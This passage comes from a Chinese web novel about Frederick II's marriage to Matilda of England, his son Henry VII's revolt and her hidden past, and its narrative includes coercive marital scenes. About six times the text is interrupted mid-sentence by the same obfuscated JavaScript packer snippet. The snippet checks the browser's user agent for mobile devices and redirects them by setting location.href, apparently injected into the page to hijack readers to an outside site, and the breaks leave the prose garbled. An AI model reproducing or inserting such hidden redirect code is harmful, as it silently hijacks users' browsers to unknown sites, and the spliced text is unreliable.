“我想我结婚不需要征求法兰西的允许。”腓特烈打断道,他现在真的有点相信英格兰的玛蒂尔达和卡斯蒂利亚的布兰奇关系不睦的传闻了,否则他不明白为什么布兰奇太后会如此针对她的表妹,这令他意识到他和玛蒂尔达结婚的行为在某种意义上会得罪法兰西王室,不过有什么关系呢,他的爱情和婚姻为什么要考虑法兰西人的感受,“告诉她,如果不是腓力二世,英格兰王后原本就应该和我结婚,我不打算去追究过去的事情,但考虑到帝国和法兰西王室的友谊,请她不要再对我的妻女发表多余的意见,现在我才是英格兰国王,以及两位女王的监护人。” 是的,他现在又多了一顶王冠,英格兰的王冠,即便抛开他早就垂涎英格兰王后的美貌的前情,在她的丈夫去世后,他也不会放过这个可以将英格兰名正言顺纳入统治的机会。在他给玛蒂尔达寄出那封信后,他就已经召集船队,声势浩大地朝英格兰前进,他不认为她会拒绝,即便拒绝,他也可以宣布这只是一场皇帝对封邑的巡视。 他考虑得很周全:如果他让玛蒂尔达带着阿格涅丝公主前来德意志和他结婚,她们还有被劫持和拦截的风险,但如果是他本人亲自前往英格兰,这样的阻碍将不复存在,毕竟法兰西王室就算反对这段婚姻也不敢真的派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177425|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船拦截他,考虑到他现在正处于声望的顶点,如果他们真的这么做,那路易九世可能还未成年就要不幸背上一道绝罚令了。 事实佐证了他的预判,他的船队畅通无阻,登陆英格兰后,他还幸运地遇到了一个晴好的天气,这使得他能第一时间见到他心仪的人,以及其他欢迎他的英格兰贵族。“他们很期盼您的到来。”欢迎的晚宴上,他听到玛蒂尔达轻声说,他看到她海蓝色的眼睛有些彷徨地望向远方,这样忧郁的神情令她的美丽更加迷人,“菲利普死后,他们就失去了对抗法国人的信心,认为英格兰将彻底沦为法兰西国王的从属,但您来了,您给了他们信心,您不必担忧他们会反抗您的统治。” 是的,如果他没有向玛蒂尔达求婚,布兰奇太后和路易九世迟早会彻底吞吃掉英格兰所剩无几的尊严,不过......“那你呢,你期盼我的到来吗?”他问,不等玛蒂尔达回应,他很快又微笑着补充,“我知道你们期望我做到什么,而我确实有能力、有意愿做到,我会对你很好,我也会像爱我的亲生女儿一样爱你的女儿。” 他对他的女人和孩子一向慷慨大方,只要他们不与他为敌,而有着共同的利益,他相信他和玛蒂尔达之间的关系会比他和上一任妻子更加和谐和良性,而他也有信心处理好他和继女的关系。来到英格兰后,他接受了英格兰贵族的效忠,在理查一世和菲利普一世加冕过的教堂中加冕,而入夜,他终于等到他期待已久的时刻,他的新婚之夜。 他一向擅长讨好女人,尤其是让他心动的、他一度以为无法得到的女人,而他也早已精心安排了他在新婚之夜的一举一动,包括他应该如何快速拉进和玛蒂尔达之间的关系:“结婚礼物。”他对她说,他像变魔术一样从身后取出一把剑,“你父亲的剑,我想,这份礼物比起所谓的珠宝和华服对你来说更有价值吧?” 6. 家庭 她父亲的剑,理查一世的剑,从他动身来到英格兰前,他就准备好了这份特殊且贵重的礼物,不论是出于结婚还是求爱的需求。如他所愿,他看到玛蒂尔达接过了那把剑,目光中流露出复杂的情感:“我从没有见过我父亲。”她说,声音中透露出几分彷徨和茫然,“我一直听身边的人提到他,可我从来没有见过他。” 理查一世死时她还只是襁褓中的婴儿,而四岁时,她就被接到了巴黎,也许对于她来说腓力二世更接近于“父亲”的存在吧。“但他仍然被人铭记,以及怀念,从爱尔兰到耶路撒冷。”他温声道,虽然他对理查一世也不怎么熟悉,但他不介意恭维他这素未谋面的岳父几句,“这样的功绩会庇护你,以及你的孩子们。” 他确定他的表态和暗示打动了她,而之后,他如愿以偿地亲吻她,将这个他渴望且爱慕的女人拥入怀中,他终于得到了她。 此后一段时间,他处在继收复耶路撒冷后又一个人生的顶点中:他带着他的妻子和继女在英格兰巡游,英格兰人欢迎他,交口称赞他比此前几任国王更英俊和富有风度,和他身边的皇后又是多么地般配,他也不吝于彰显他身为皇帝的雄厚财力,保证他绝不会让法兰西人以封君之名继续干预英格兰的内政,并恩威并施地收服那些怀有二心的贵族,最令他欣喜的是玛蒂尔达很快怀孕了,她生下一个漂亮的女儿,他给她起名叫贝娅特丽丝,寓意欢乐和幸福。 “等开春以后,你和我去一趟罗马吧,教皇已经答应了我会加冕你为罗马人民的皇后,顺便去一趟科隆,探望一下我的儿子亨利,带上阿格涅丝。”贝娅特丽丝的摇篮边,他注视着他的妻女,终于还是提出了那个在他心里盘旋已久的念头,“我想要让亨利和阿格涅丝订婚,和我们一样,他们未来也会是皇帝和女王。” 在来到英格兰前,他默认了阿格涅丝已经是英格兰女王,而且他不打算将他的继女看做是他潜在的竞争对手,相反,他想要巩固她的地位,让她彻底加入他的家庭中。“我以为你会等待我生下一个儿子。”他看到玛蒂尔达抱着贝娅特丽丝的手微微一顿,摇篮中的贝娅特丽丝无察无觉,睁着那双和母亲一模一样的海蓝色眼睛咯咯笑着,“你不想你的儿子继承英格兰王位吗?” “我已经有两个儿子了。”他不以为然道,他确实没有执念一定要和玛蒂尔达再生一个儿子,“即便我们有了儿子,这和我给阿格涅丝安排一个荣耀和安稳的未来也不冲突,我说过,我会像爱自己的亲生女儿一样爱你的女儿,现在看来,我做的还不错吧?” 他带着一点揶揄的语气问她,并且期待着她的答复。“当然,你做得很好。”她轻声说,他心满意足,顺势将她抱在怀中亲吻,但吻着她发顶时,他心中忽然又生出一丝不合时宜的疑问:他确实会善待阿格涅丝,可在他心里,阿格涅丝毕竟不像贝娅特丽丝一样是他的亲生女儿,那她呢,同样是她的女儿,她是更喜欢他的女儿还是菲利普一世的女儿呢? 在英格兰逗留了一年多以后,他终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177426|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带上了他的妻女回到德意志,在前往亚琛和罗马加冕前,他先去科隆探望了他的大儿子。“这是你的新母亲。”他向他的大儿子亨利七世介绍道,亨利七世顺从地亲吻了玛蒂尔达的手,他站在旁边,很是欣喜自己的儿子和妻子相处和睦,“以及你的妹妹和未来的妻子。”他又指向两个女孩,“我已经决定让你和英格兰的阿格涅丝订婚了。” 此言一出,亨利七世原本平静的脸孔一下子陷入错愕,他愣愣地看着他的继母和她的两个女儿,不敢置信道:“您在开玩笑吧,父亲,她还只是个三岁的孩子......” “她总会长大的。”腓特烈说,“亨利,你还年轻,你不需要这么早结婚。” 亨利已经成年,但他也正当壮年,他固然对自己的长子怀有父爱,但这和他不想让他过早获取皇帝的权力并不冲突。“可您明明说过会让我和波西米亚的阿格涅丝结婚的!”亨利七世分辩道,“即便不是阿格涅丝,也应该是其他和我年龄相当的女孩,不能是,不能是......”不能是一个三岁的小女孩。 “但她是未来的英格兰女王,你难道觉得这样的妻子和你不够相配吗?”腓特烈开始有些不耐烦道,察觉到玛蒂尔达的手开始冰凉,他更加恼恨亨利七世怎么这么不合时宜地在继母面前和他争执,“好了,亨利,不要再质疑你父亲的决定了,别忘了你的一切地位和权力都来自你父亲的给予,现在,我只是行使父亲的权力而已,请你给你的父亲一点最起码的尊重和顺从。” 7. 叛乱 “如果你的长子认为阿格涅丝年龄太小,或许我们不应该强迫他们结婚。”离开科隆后,他们继续南下,腓特烈忽然听到玛蒂尔达开口对他说,他的眉毛挑了挑,侧头看向她,她很少主动跟他说话,“即便你希望阿格涅丝能够嫁给你的儿子,也许康拉德更合适。” 康拉德,他的次子,名义上的耶路撒冷国王,不过......“亨利会继承我的皇位,他的妻子将是基督教世界最尊贵的女人,你难道不希望你的女儿享受这一荣耀吗?” “我当然这样希望,但我并不想她空有尊贵的地位却受到丈夫的抵触和冷遇,即便你想要你的儿子接受阿格涅丝,也不应该采用这样粗暴的方式......” “你认为我的方式‘粗暴’了吗?”腓特烈微微眯起眼睛,他心中生出不豫,不知是因为玛蒂尔达开始插手他和他长子之间的关系,还是恼恨她为何会有这样突兀的想法,“那你认为什么还是合适的方式,像腓力二世一样给他偏爱的儿子一个王国作为礼物,他的儿子还对此毫不领情,玛蒂尔达,我不是那么慈爱的父亲。” “......”玛蒂尔达没有再说话,她偏过头,侧脸的线条优美却冷淡,睫毛和嘴唇隐隐颤抖,他不需要问就知道她现在正想着什么东西,那丝微妙的不豫此刻更加明显了,他伸出手,半是强迫地将她的脸掰回来,也就是这一瞬间,他忽然意识到,他占有她的现在,她的未来,可他对她的过去一无所知,他永远不知道她和菲利普一世在一起时的样子。 他们到了罗马,又到了西西里,尽管路上的气氛因为那番对话笼上了几分阴影,但总体说来,到了西西里后,他的心情还是重新好了起来:神圣罗马帝国的皇冠是他身份的象征,是他引以为傲的头衔,但西西里才是他真正的故乡,他真正热爱并愿意倾注心力的所在,遇到玛蒂尔达以后,他一直想带她来西西里看一看。 这两年他过得还算顺心,玛蒂尔达又怀孕了,占星师说她将会生下一个卓尔不群的儿子,这令他大喜过望,吩咐所有在名义上效忠于他的领地的修道院都为这个未出生的儿子祝祷,包括英格兰。 他认为这是一个再正常不过的举动,但再一次,他收到了亨利七世从科隆寄来的信,他询问如果玛蒂尔达生下一个儿子,他是否想要让这个儿子成为英格兰国王,既然如此,他和阿格涅丝的婚约便毫无意义,他恳求他重新考虑。“贪婪至极!”他写信斥责道,“即便她不会成为英格兰女王,她也是你的继妹,一位血统高贵的双王之女,这段婚姻是出于你父亲的精心安排,你对此屡屡忿忿的言行和直接挑衅你父亲无异!” 随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177427|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着亨利七世逐渐长大,他确实不复童年时的乖巧,从婚事到政事都常常和他意见相左,并且他在德意志的忠臣提醒他,亨利七世现在和教廷以及法国王室走得相当近,或许这是一个他们想要纠结一个危险派系的信号,他们提醒他多加注意。 这确实是一个棘手的问题,在他和玛蒂尔达结婚后,他和法国王室之间的关系确实微妙了起来,不过已经成年的路易九世暂时没有与他为敌的意思,他也乐于保持这表面上的和睦,毕竟他和教廷之间一直暗潮涌动,他不能在和教廷博弈的同时给自己招惹世俗的强敌。 只是如果玛蒂尔达给他生下一个计划外的小儿子,他也不忍心让这个小儿子一无所有,如果不撕毁他昔日让阿格涅丝继承英格兰的承诺,他就只能替他声索他的外祖父和曾外祖父的领地,而这必然意味着和法国王室的彻底决裂...... 鉴于这个小儿子还没有出生,他尚不打算将预想付诸行动,不过他确实也可以做一些准备,比如和玛蒂尔达的舅舅桑乔七世联络并向名义上仍然归属帝国的普罗旺斯地区声索主权。事后复盘,他明白正是他的这些行为刺激了路易九世的情绪,乃至让他下定决心挑动他的长子反抗父亲,但当时他对这些行为可能带来的后果并无准备---直到他得知亨利七世起兵叛乱的消息。 8. 腓力 得知他的长子干的好事后,他先是震怒,而后迅速镇定。 亨利七世是他的第一个孩子,他和他的第一任妻子阿拉贡的康斯坦丝的孩子,他出生前后,他曾对他怀有万分期待,但如果他背叛了他,他也不会心慈手软,仁慈是胜利者的特权。理清了当下的局势后,他很快决定立刻返回德意志,他相信大多数诸侯仍然会站在他这边,但就在这是,仆人告诉他皇后求见。 她已经怀孕七个月,他原本不想她参与到这件事中,直到这个时候,他还以为她是在担忧他,并且为之暗暗欣喜,可她出口的第一句话便令他转喜为怒:“你打算怎么处置你的儿子?”她问,在发现他的面色更加冷凝后,她不禁有些焦急,“他确实背叛了你,但我们都知道这背后应有他人蛊惑引诱。”她咬咬牙,似乎下定决心般补充道,“就像法国人挑拨我的祖父和他的儿子们。” 亨利二世,理查一世,那也是一段人尽皆知的历史,但她现在这个时候提起这段过往很难不让他想起些其他事情:“所以你认为我应该汲取教训,反思一下我对我儿子的所作所为,你认为是我的专断导致了现在的结果,对吗?” 玛蒂尔达不语,但她的沉默显然意味着她认同这一论点,意识到这一点后,他不禁轻笑道:“是的,我也认为我也应该吸取教训。”他睨视着她,“而我吸取的教训,就是我不会对自己叛逆的儿子有任何怜悯,他的余生只会在监狱里度过,至于阿格涅丝,你说得对,康拉德和她年龄更接近,他们相处得也很好,准备好迎接你的新女婿吧。” 这意味着他已经决定了叛乱的长子的命运。他看到玛蒂尔达的脸上浮现出一层挣扎和痛苦,须臾,她再次哀求:“不要这样,腓特烈,我们都清楚你的儿子选择这条道路有我们和阿格涅丝的原因,你摆布他的人生,他终究会选择反抗,但这一切本可以不必发生。”她心一横,还是说出了那个人的名字,“不要做腓力二世那样的父亲。” 果然如此! 当她说出腓力二世的名字时,他就清楚她这一系列的反常表现果然和她昔日的法国经历有关,这么多年过去了,他对她的过去仍然一无所知,而她也从没有想要向他主动提及的意思,这是因为什么缘故呢......“莉奥妮丝。”他忽然叫道。 玛蒂尔达一怔,像是完全没有想到他会这样称呼她,而他索性破罐破摔,将她逼至墙角角落:“你喜欢别人这样称呼你,对吗,玛蒂尔达是你的生父给你起的名字,但莉奥妮丝才是你真正的名字,比起你的生父,你更认可腓力二世是你的父亲,你从没有忘记菲利普一世,在你心里,他才是你真正的丈夫,而我只是你不得已选择的庇护者,甚至谈不上是代替品。”看着她错愕和躲避的神色,他心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177428|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时生出一股得偿所愿的报复快感,他伸出手,抚摸着她的腹部,露出一个恶劣的笑容:“既然你这么怀念他,等我们的儿子出生,不妨给他起名叫腓力以纪念你的前夫和养父,我保证,我是绝对不会有一点介意的。” “不是这样......”她仍然试图分辩,而他现在根本听不进她的话,看着她,他又想起了根特的婚礼上菲利普一世紧紧抱着她的样子,他得承认他确实妒忌着菲利普一世,他已经死了,但玛蒂尔达的某一部分永远属于他,他无法插足也无法涉猎,“清醒一点,玛蒂尔达,他已经死了,现在是我在关心你,保护你,你应该站在我的立场上维护我,而不是因为你前夫的缘故对背叛我的人寄予多余的同情。你同情亨利,你知道他怎么看待你吗,他已经答应了路易九世和布兰奇太后,如果他推翻了我,他会把你和你的女儿们送到巴黎,你就这么想和你的表姐重叙旧情吗?” 她没有再说话,她靠在墙角,头偏在一侧,仿若本能般地回避身边的一切,包括他,这样的反应再次触怒了他,又一次地,他将她的头掰过来,迫使她直视他的眼睛:“在西西里好好照顾我的孩子们,除此之外,如果你在怀念你的亡夫外还有多余的时间,最好也替我祈祷一下我能顺利收服我那叛逆的儿子,否则你的人生只会是继续你昔日逃避的命运---别以为我会留下遗嘱保护你!” 9. 秘密 如他所料,当他回到德意志,诸侯们便争先恐后地抛弃了亨利七世,从而对他献上忠诚,当他的队伍逼近亨利七世所在地时,双方的力量对比已经十分悬殊,他本以为这已足以让亨利七世明白情势,但他仍负隅顽抗,在内卡河附近,他的大军和亨利七世残余的支持者进行了小规模的冲突,毫无疑问地,亨利七世失败了,他向他投降,而他终究要为他的背叛付出代价。 在审判亨利七世的前夜,他再次梦到了阿拉贡的康斯坦丝,梦境中,她恳求他原谅他们的儿子,而他最终没有回答她,他不原谅背叛,哪怕是他曾经最器重的儿子。在叛乱尘埃落定后,他还要解决另一件事,和法国的外交关系。 法国人参与了亨利七世的叛乱,这是十分明确的事,最后帮助亨利七世以卵击石的骑士中就包括法国人,是以在平定叛乱后,他便派人将阵亡法国骑士的盔甲送回巴黎,同时询问路易九世和布兰奇太后是否认可他对普罗旺斯的宗主权以及他妻子阿基坦公爵的头衔。 在寄出这封信时,他已经做好了和曾经的盟友全面决裂的准备,不过法国方面选择了克制,同意了他的要求且对曾经支持亨利七世之事绝口不提,回信的最后,布兰奇太后还将其中一个阵亡骑士的十字架寄了回来,宣称玛蒂尔达认识十字架的主人,“也许她会为他哀悼呢”。 又一次,又是这样,他们理所当然地在他面前提及玛蒂尔达的过往,而他仍然对此一无所知,从相遇到现在都是如此。“为什么您如此执着于您的妻子的过去呢?”回到西西里之前,赫尔曼团长问他,他们相识有二十余年之久,他是这个世界上为数不多了解他的人,“您迎娶她的原因很清楚,她是英格兰的女王,身份足以与您匹配,恰好还有着让您心动的美貌,您庇护她,给她安稳的生活,她则顺从您,给您带来王冠并为您生儿育女,在你们的婚姻中,她履行了她的义务,她没有义务要向您交代她的过往,您对您从前的妻子和情人要求从没有这么苛刻。” 腓特烈无言。 对过去的两任妻子,耶路撒冷的伊莎贝尔二世于他已经是一个苍白的影子,除了“耶路撒冷国王”这个头衔和她那群惹人厌的碍事亲戚,他几乎已经记不起来其他有关她的事务;而阿拉贡的康斯坦丝是他的第一个女人,她是姐姐、老师和母亲,他毋庸置疑爱她,可他从没有妒忌过她的第一任丈夫和他们的儿子,他知道她会为他们哀悼,可他一直认为这是理所当然的事。 可玛蒂尔达呢,赫尔曼说的没错,他确实对她太苛刻,因为知道她最开始是他的未婚妻,他本可以提前十几年遇到她,腓力二世或者菲利普一世本不该出现在她生命中吗?还是因为其他的缘故呢?他不知道他对玛蒂尔达的真实情感是什么,但他确定他想要和她和好,在前往德意志的这段时间,他一封信也没有给她写,回西西里后,他得改变这一切,也许那个十字架可以是一个契机? 他知道他和玛蒂尔达的冷战不会一直持续下去,事实也确实如此,当他回到西西里时,她带着他们的儿子迎接他,他顺理成章地问她给他们的小儿子起了什么名字。“腓力。”她顿了顿,她随后补充道,“和我没有关系,是纪念你的叔叔,这本来也是个常见的名字。” 不管她的真实想法是什么,她至少愿意迁就他的情绪,因此他也愿意接受这个解释。和孩子们一起吃过晚餐后,他们回到了卧室里,也就是这个时候,他将那个十字架给了她。“你的表姐说,这是你会哀悼的人的东西,你曾经认识它的主人吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177429|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 十字架的背后刻着一个名字,罗贝尔,一个典型的法国名字,在拿出十字架前,他其实期待玛蒂尔达能够多说些什么,但她在拿过十字架后就再次偏过了头,露出了他熟悉的、令他抗拒乃至愤怒的冷淡神色:“我知道了,我想安静一下,今天你可以去其他房间吗?” 他终于感到怒不可遏。 “不行,今天不行。”他说,没有等玛蒂尔达躲开,他就拽起她,将她抵在床头,歇斯底里地控诉道,“我是你的丈夫,忠诚和坦诚是你应有的义务,告诉我,这个十字架的主人是谁,你和他是什么关系,为什么你的表姐说你应该为他哀悼,你到底还隐瞒了我什么?”见她仍然闭口不言,他索性加重了力道,“沉默无用,玛蒂尔达,我可以写信给你的表姐,或者找人去巴黎打听,过去我不这样做是尊重你的意愿,可你尊重了我了?” 他将他心头压抑已久的缘分一股脑倾泻而出,赫尔曼说他对玛蒂尔达太苛刻,可她又何尝对他坦诚,回忆起她和菲利普一世,他心头的妒忌和愤怒愈发难以抑制,他受不了他像幽灵一样盘旋在他们的婚姻生活里,他占据着玛蒂尔达的过往,而他甚至连知情的权利都没有! 他看得出玛蒂尔达在发抖,可他没有心软,他一定要一个答案,这个“罗贝尔”是谁不重要,重要的是他要确保玛蒂尔达从此之后会对他保持忠诚和坦诚,他们之间不应有任何秘密和隔阂存在。“他是我的儿子。”不知多久之后,他终于听到玛蒂尔达开口,她仍直视着他,眼睛里却没有一丝一毫的光彩,“我和腓力二世的儿子。” “......”他错愕地松开手,玛蒂尔达空洞的眼神此刻是如此刺眼,先于情感,他下意识地抚摸着她的眼眶:那其中并没有泪水溢出。 10. 命运 他将她笼在怀中,轻轻抚摸着她的头发,她看起来仍然有些恍惚,但情绪已经平稳下来,好半天,他听到她主动开口:“我一开始确实应该是嫁给你的。” “那都是过去的事了。”他不忍道,他从前迫切地想要了解她的过往,但如果过往如此不堪的话他宁愿将其永久埋藏,但玛蒂尔达摇了摇头,疲倦道,“没有什么不能面对的,一切都已经过去了。当年,在我祖母去世之前,她已经意识到了我叔叔的无能,她不敢将我送回英格兰,否则我会像我堂姐一样被囚禁,或者成为被争夺的战利品。” “而留在诺曼底,我也很可能会被腓力二世抢走,因此她最后决定将我的监护权交给英诺森三世,请他监督执行我们父亲当年订下的婚约,除此之外她还做了另一个决定,那就是让我母亲带着我穿越阿基坦,到图卢兹和纳瓦拉寻求我姑父和舅舅的庇护,如果英诺森三世不愿意庇护我,我就生活在我姑父和舅舅的宫廷中,比利牛斯山离巴黎足够远,我可以在这里统治一部分阿基坦的土地。” “只是在我们渡过卢瓦尔河时,我们的行踪被发现了,腓力二世追上了我们,把我带回了巴黎,我母亲来到了罗马控诉,但英诺森三世那个时候还希望腓力二世支持十字军,最后,英诺森三世和腓力二世达成了交易,英诺森三世成为了我的监护人,但他同意我和腓力二世的一个儿子订婚,将来共同统治我祖母的领地。” “他一开始想让我和路易八世订婚,但最后还是选择了菲利普,在认为我会在将来成为他控制阿基坦的工具后,他对我很好,或许这其中也包含了他报复我父亲的成分,等我和菲利普长大后,他又通过对我们的宠爱向他的长子夫妻施压,他不想看到一个年轻的、威胁他的统治者。” “我和我表姐关系不好,这是事实,只是真相远没有传闻中那么肤浅,我们确实性格不合,但真正的对立其实来源于立场的对立。路易八世不喜欢我们,因为我们得到了他想要的父亲的宠爱,哪怕这样的宠爱实则来源于他的控制欲,作为未来的君主,他更不想看到他的弟弟将来统治阿基坦这块广大领土,这会造成对他的威胁,尤其是腓力二世还打算让我们取代我叔叔成为英格兰国王以后。” “腓力二世在利用我们,我们所有人都心知肚明,也许除了菲利普,而路易八世和我表姐对我更不满意的地方是我明明意识到了这一点,却还是配合了他,顺从腓力二世的意愿挑衅他们,因为只有这样我才可能得到权力,得到权力我才有摆脱控制的机会。”她深吸一口气,“但我和腓力二世只是暂时的利益趋同,他们却是长远的利益趋同,至少在打击我的家族在诺曼底和阿基坦的势力上,他们想法一致,他们要求我目睹忠于我父亲的骑士被处死,以此检验我的忠诚,之后,他们又要求我在结婚后继续留在巴黎,以保证王室对阿基坦的控制,依靠施舍得到的权力总有一天会因为施主的回心转意被收回。” “我不能再徒劳地等待下去,继续等待,阿基坦忠于我的人会越来越少,到了那一天我只能眼睁睁看着他们遗忘我的祖辈而颂唱我的敌人,正好那个时候,我的叔叔终于在英格兰站稳了脚跟,开始筹划夺回诺曼底,于是,我联系了他,我愿意帮助他夺回阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177430|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基坦,作为交换,他要将阿基坦交给我,他对阿基坦的控制本就不足,因此他答应了我的要求。” “然后就是那场著名的战争,我背叛了婚约,从巴黎逃到了普瓦捷,召集了对我父亲和祖母仍有怀念和敬重的骑士,吸引腓力二世前来阿基坦逮捕我,而我的叔叔也将率军登陆对我进行增援,最后则由我的表兄奥托四世从北方进攻巴黎,迫使腓力二世屈服。” “腓力二世选择独自对抗奥托四世的大军,留下他的儿子对付我们,路易手上只有数千兵马,我们一开始已经逼迫他后撤到埃夫勒,可我的叔叔听说我的表兄在北方战败,他直接逃走了!” 即便过了这么多年,再次提起这件事时,她仍然控制不住气得浑身发抖,只是愤怒之后,她很快重新平静,后续的事已经昭然若揭:“他没有通知任何人,包括我,在我还想方设法劝说安茹和曼恩的封建主继续支持我们时,他已经回了英格兰,现在没有人相信我们还能反败为胜了,这个时候,我已经别无选择,只要我还在法国境内就不可能逃脱追捕,唯一的可能就是通过香槟地区来到莱茵河上游,和我表兄逃往萨克森的队伍会合,成为一个流亡者。” 香槟,莱茵河......“那时候,我在莱茵河。”他忽然意识到什么,那个可能令他浑身发颤,他不敢相信命运曾经带给他们如此戏剧化的捉弄,“我在那个时候封锁了国境线......” “是的,我没能逃到德意志,勃艮第公爵追上了我。”她静静地说,“他将我送回了巴黎。” 而回到巴黎后,她的命运已经可以想象了。 11.大结局 她睡着了,床榻边,腓特烈按了按自己的额角,只感觉到前所未有的茫然和疲倦。 前所未有的,他仔仔细细地观察着她的身体,他看到了她手腕和脚腕的薄茧,膝盖上的旧伤,背上的鞭痕,如果他对她更早有情/欲之外的耐心,也许他早就可以从这些细节中明白她曾经的人生远没有传言中那么平静。 他还是按捺不住想她刚才说的话,她曾经想要逃去萨克森,他却在不经意间阻断了她的去路,她后续十年的遭遇都是因为他的缘故,如果当时他没有多此一举,她会得到自由吗?或者如果他先找到了她,他们的人生会有不同吗?然而左思右想,他的理智仍然告诉他这不过是他的一厢情愿:在当时的立场下,即便他先找到了她,他有多大概率会不将她送回巴黎,即便他留下了她,他又能给她什么,他什么也给不了。 似乎现在的局面才是最好的结果,如果他能按捺住他的妒忌和好奇,那曾经那些不堪的过往会被她无声地掩盖在回忆里,只是......“为什么不是我先遇到你?”他对她说,他又想起了曾经那个令他愤恨不甘的遗憾,而现在,他清晰地明白他错过的远不止二十年的时间,他的手垂落在她耳边,泪水也无声地落入她发鬓,“我们本应该一起长大的。” 次日起身时她不在身侧,侍女说她去了教堂,他心中一紧,生恐她因昨日之故心灰意冷想要遁入修道院中,好在等他找到她以后,她只是站在巴勒莫大教堂的玫瑰窗前,望着那绚丽的光彩若有所思:“你知道我为什么希望你能够宽恕你的儿子吗?”她忽然问。 腓特烈摇摇头,而玛蒂尔达转过头,眼神中尽是苦涩之意:“因为你当时的样子像极了腓力二世,自以为已经无比宽容,却不过是为了满足自己的野心。我明白你儿子的感受,曾经的我也是像他一样任人摆布的存在,我不想被他们摆布命运,用尽全力反抗也谈不上成功,出于立场,他们不可能对我保有宽容,但你和你儿子本不应该是这个结果。” “我会对他好一些的。”腓特烈低声说,过去的那些时间,他确实也无视了亨利七世的感受,或许未来的时间里他能尝试着修补一下他们的关系,至少在亨利七世不会继承他的皇位之后,他可以多给他一些原本不能给他的自由,比如婚姻的自由,但想到玛蒂尔达刚才的话,他又情不自禁生出几分忐忑,他小心翼翼地开口,“你说我像腓力二世......” “只是那个时候让我想起了他而已,我知道你们是不同的人,我也很感激你保护了我,给了我新的人生,而和菲利普在一起,我们永远不可能从曾经的回忆中走出来。”她的脸上浮现几分痛苦和茫然,“我们之间的关系不像你曾经想的那样,我们一起长大,我也曾经接受了我会嫁给他,但在我离开巴黎以后,我就放弃了他,是他还执着着想要一切回到曾经的方向,但那是不可能的事,我们回不到过去,他父亲也不会允许。” “菲利普太天真了,我被带回巴黎之后,他还以为他父亲在愤怒平息后会再次允许我们结婚,他恳求腓力二世同意他见我一眼,他答应了,他带他来见我,那个时候我正怀着第一个孩子......他几乎疯掉了。”时隔多年,再回忆起那一幕,她仍然不愿过多回忆,她很清楚那对菲利普是怎样的打击,那十年腓力二世折磨着她也同时折磨着他,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 